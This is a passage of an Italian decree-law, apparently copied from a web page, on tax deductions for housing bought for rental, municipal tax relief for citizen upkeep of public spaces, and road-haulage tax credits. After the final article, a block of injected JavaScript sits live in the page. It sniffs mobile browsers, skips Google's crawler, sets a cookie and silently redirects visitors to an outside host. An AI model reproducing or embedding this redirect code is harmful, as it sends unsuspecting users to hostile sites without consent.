di cui all’articolo 3, comma 1, lettere d) e c), del testo  unico  di

cui al decreto del Presidente della Repubblica 6 giugno 2001, n. 380,

e’  riconosciuta  all’acquirente,  persona   fisica   non   esercente

attivita’ commerciale, una deduzione dal reddito complessivo pari  al

20  per  cento  del  prezzo  di  acquisto  dell’immobile   risultante

dall’atto di compravendita, nel limite massimo complessivo  di  spesa

di 300.000 euro, nonche’ degli interessi passivi dipendenti da  mutui

contratti per l’acquisto delle unita’ immobiliari medesime.

  2. La deduzione di cui al comma 1 spetta, nella medesima  misura  e

nel medesimo limite massimo complessivo, anche per le spese sostenute

dal contribuente persona fisica non esercente  attivita’  commerciale

per prestazioni di servizi, dipendenti da contratti d’appalto, per la

costruzione di un’unita’ immobiliare a destinazione  residenziale  su

aree  edificabili  gia’  possedute  dal  contribuente  stesso   prima

dell’inizio dei lavori o sulle quali sono gia’  riconosciuti  diritti

edificatori. Ai fini della deduzione le predette spese di costruzione

sono attestate dall’impresa che esegue i lavori.

  3. Fermo restando il limite massimo complessivo di 300.000 euro, la

deduzione spetta anche per l’acquisto o  realizzazione  di  ulteriori

unita’ immobiliari da destinare alla locazione.

  4. La deduzione, spetta a condizione che:

  a) l’unita’ immobiliare acquistata sia destinata, entro sei mesi

dall’acquisto o dal termine dei lavori di costruzione, alla locazione

per  almeno  otto  anni  e  purche’  tale  periodo  abbia   carattere

continuativo; il diritto alla deduzione, tuttavia, non viene meno se,

per motivi non imputabili al locatore, il contratto di  locazione  si

risolve prima del decorso del suddetto periodo e ne  viene  stipulato

un altro entro un anno dalla  data  della  suddetta  risoluzione  del

precedente contratto; 

  b) l’unita’ immobiliare medesima sia a destinazione residenziale, e

non sia classificata o classificabile nelle categorie catastali  A/1,

A/8 e A/9;

  c)  l’unita’  immobiliare  non  sia  ubicata  nelle  zone  omogenee

classificate E, ai sensi del   decreto  del  Ministro  dei  lavori

pubblici  2 aprile 1968, n. 1444;

  d)   l’unita’   immobiliare   consegua   prestazioni    energetiche

certificate in classe A o B, ai sensi  dell’allegato  4  delle  Linee

Guida nazionali per la classificazione energetica  degli  edifici  di

cui al G  decreto del Ministro dello sviluppo economico  26  giugno

2009, pubblicato nella Gazzetta Ufficiale n. 158 del 10 luglio  2009,

ovvero ai sensi della normativa regionale, laddove vigente;

  e) il canone di locazione non sia superiore  a  quello  indicato

nella convenzione di cui all’ articolo 18 del testo unico di  cui  al

decreto del Presidente della Repubblica 6 giugno 2001, n. 380, ovvero

non sia superiore al minore importo tra il canone definito  ai  sensi

dell’ articolo 2, comma 3, della legge 9 dicembre  1998,  n.  431,  e

quello stabilito ai sensi dell’articolo 3, comma 114, della legge  24

dicembre 2003, n. 350; 

  f) non sussistano rapporti di parentela entro il  primo  grado  tra

locatore e locatario.

  4-bis. Le persone fisiche non  esercenti  attivita’  commerciale

possono  cedere  in  usufrutto,  anche  contestualmente  all’atto  di

acquisto e anche prima della scadenza del periodo minimo di locazione

di otto anni, le unita’ immobiliari acquistate  con  le  agevolazioni

fiscali di cui al presente articolo, a soggetti giuridici pubblici  o

privati operanti da  almeno  dieci  anni  nel  settore  dell’alloggio

sociale, come definito dal decreto del Ministro delle  infrastrutture

22 aprile 2008, pubblicato nella Gazzetta Ufficiale  n.  146  del  24

giugno 2008,  a  condizione  che  venga  mantenuto  il  vincolo  alla

locazione alle medesime condizioni stabilite dal comma 4, lettera e),

e che il corrispettivo di usufrutto, calcolato su base annua, non sia

superiore all’importo  dei  canoni  di  locazione  calcolati  con  le

modalita’ stabilite dal medesimo comma 4, lettera e). 

  5. La deduzione e’ ripartita in otto quote annuali di pari importo,

a partire dal periodo d’imposta nel  quale  avviene  la  stipula  del

contratto di locazione e non e’  cumulabile  con  altre  agevolazioni

fiscali previste da altre  disposizioni  di  legge  per  le  medesime

spese.

  6. Le ulteriori modalita’  attuative  del  presente  articolo  sono

definite  con  decreto  del  Ministero  delle  infrastrutture  e  dei

trasporti e del Ministero dell’economia e delle finanze.

  7. All’onere derivante dal presente articolo, pari a  10,1  milioni

di euro per l’anno 2015, a 19,2 milioni di euro per  l’anno  2016,  a

31,6 milioni di euro per l’anno 2017, a  47,7  milioni  di  euro  per

l’anno 2018, a 45,5 milioni di euro per l’anno 2019, a  43,0  milioni

di euro per gli anni 2020 e 2021, a 43,6 milioni di euro  per  l’anno

2022, a 24,9 milioni di euro per l’anno 2023, a 13,9 milioni di  euro

per l’anno 2024 e a 2,9 milioni di euro per l’anno 2025, si provvede,

rispettivamente:

  a) quanto a 10,1 milioni di euro per l’anno 2015, a 19,2 milioni di

euro per l’anno 2016, a 1,6 milioni di euro per l’anno 2017,  a  27,7

milioni di euro per l’anno 2018, a 45,5 milioni di  euro  per  l’anno

2019, a 43,0 milioni di euro per gli anni 2020 e 2021, a 43,6 milioni

di euro per l’anno 2022, a 24,9 milioni di euro per l’anno 2023, e  a

13,9 milioni di euro per l’anno 2024 e a 2,9 milioni per l’anno  2025

mediante riduzione dell’autorizzazione di spesa di  cui  all’articolo

10, comma 5, del decreto-legge 29 novembre 2004, n. 282,  convertito,

con modificazioni, dalla legge 27 dicembre 2004, n. 307, relativa  al

Fondo per interventi strutturali di politica economica;

  b) quanto a 30 milioni di euro per l’anno  2017 e quanto a  20

milioni per l’anno 2018, mediante  riduzione  dell’autorizzazione  di

spesa di cui all’articolo 2, comma 3, del decreto-legge  28  dicembre

1998, n. 451, convertito, con modificazioni, dalla legge 26  febbraio

1999, n. 40, e successive modificazioni.».

 

(Omissis).

 

Art. 24

 Misure di agevolazione della partecipazione delle comunita’ locali

in materia di tutela e valorizzazione del territorio

 

  1. I comuni possono definire con apposita delibera i criteri  e  le

condizioni per la realizzazione di interventi su progetti  presentati

da cittadini singoli o associati, purche’ individuati in relazione al

territorio da riqualificare. Gli  interventi  possono  riguardare  la

pulizia, la  manutenzione,  l’abbellimento  di  aree  verdi,  piazze,

strade ovvero interventi di decoro urbano, di recupero e  riuso,  con

finalita’  di  interesse  generale,   di   aree   e   beni   immobili

inutilizzati, e in genere la valorizzazione di una limitata zona  del

territorio urbano o extraurbano.  In  relazione  alla  tipologia  dei

predetti  interventi,  i  comuni  possono  deliberare   riduzioni   o

esenzioni di tributi inerenti al tipo di attivita’ posta  in  essere.

L’esenzione e’ concessa per  un  periodo  limitato  e  definito,  per

specifici tributi e per attivita’ individuate dai comuni, in  ragione

dell’esercizio  sussidiario  dell’attivita’  posta  in  essere.  Tali

riduzioni sono concesse prioritariamente  a  comunita’  di  cittadini

costituite   in   forme   associative   stabili   e    giuridicamente

riconosciute.

 

(Omissis).

 

CAPO VII

MISURE URGENTI PER LE IMPRESE

 

(Omissis).

 

Art. 32-bis

Disposizioni in materia di autotrasporto

 (Omissis).

  2. I contributi alle imprese di autotrasporto per l’acquisizione di

beni capitali, relativi all’articolo 2, comma 2, lettere c) e d), del

regolamento di cui al decreto  del  Presidente  della  Repubblica  27

settembre 2007, n. 227, a valere sulle risorse finanziarie  destinate

al settore dell’autotrasporto dall’articolo 1, comma 89, della  legge

27 dicembre 2013, n.  147,  per  l’esercizio  finanziario  2014,  nei

limiti  delle  risorse  finanziarie  effettivamente  disponibili   e,

comunque, non oltre complessivi  15  milioni  di  euro,  sono  fruiti

mediante credito d’imposta da utilizzare in  compensazione  ai  sensi

dell’articolo 17 del decreto legislativo 9 luglio  1997,  n.  241,  e

successive modificazioni, presentando il modello  F24  esclusivamente

attraverso i servizi telematici offerti dall’Agenzia  delle  entrate,

pena lo scarto dell’operazione di versamento, salvo che i destinatari

presentino espressa dichiarazione  di  voler  fruire  del  contributo

diretto.  A  tal  fine,  il  Ministero  delle  infrastrutture  e  dei

trasporti provvede  al  versamento  delle  somme  occorrenti  per  la

regolazione contabile dei  crediti  da  utilizzare  in  compensazione

sulla contabilita’ speciale n. 1778, aperta presso la Banca  d’Italia

e intestata all’Agenzia delle entrate, fornendo all’Agenzia  medesima

gli elenchi dei beneficiari, i relativi codici fiscali e gli  importi

dei contributi unitari spettanti alle imprese. Il  credito  d’imposta

puo’ essere utilizzato in  compensazione  solo  successivamente  alla

comunicazione dei dati di cui  al  periodo  precedente,  da  eseguire

secondo modalita’ telematiche definite d’intesa tra  l’Agenzia  delle

entrate e il Ministero delle infrastrutture e dei trasporti. In  fase

di elaborazione dei modelli F24 presentati dalle  imprese,  l’Agenzia

delle entrate verifica che  l’ammontare  dei  crediti  utilizzati  in

compensazione non ecceda l’importo del contributo concesso, scartando

le operazioni di versamento che non  rispettano  tale  requisito.  Al

credito d’imposta riconosciuto per le finalita’ di cui alla  presente

norma non si applica il limite previsto dall’articolo  1,  comma  53,

della legge 24 dicembre 2007, n. 244.  Le  medesime  disposizioni  si

applicano agli incentivi per  la  formazione  professionale  relativi

all’articolo 2, comma 2,  lettera  f),  del  regolamento  di  cui  al

decreto del Presidente della Repubblica 27 settembre  2007,  n.  227,

solo nel caso in cui il beneficiario presenti espressa  dichiarazione

di voler fruire del  credito  d’imposta,  nei  limiti  delle  risorse

finanziarie  effettivamente  disponibili  e,  comunque,   non   oltre

complessivi 10 milioni di euro.

(Omissis). 

 

CAPO X

MISURE FINANZIARIE IN MATERIA DI AMMORTIZZATORI SOCIALI IN DEROGA ED

ULTERIORI DISPOSIZIONI FINANZIARIE PER GLI ENTI TERRITORIALI

(Omissis).

 

Art. 45

Entrata in vigore

 

  1. Il presente decreto entra  in  vigore  il  giorno  successivo  a

quello  della  sua  pubblicazione  nella  Gazzetta  Ufficiale   della

Repubblica italiana e sara’ presentato alle Camere per la conversione

in legge.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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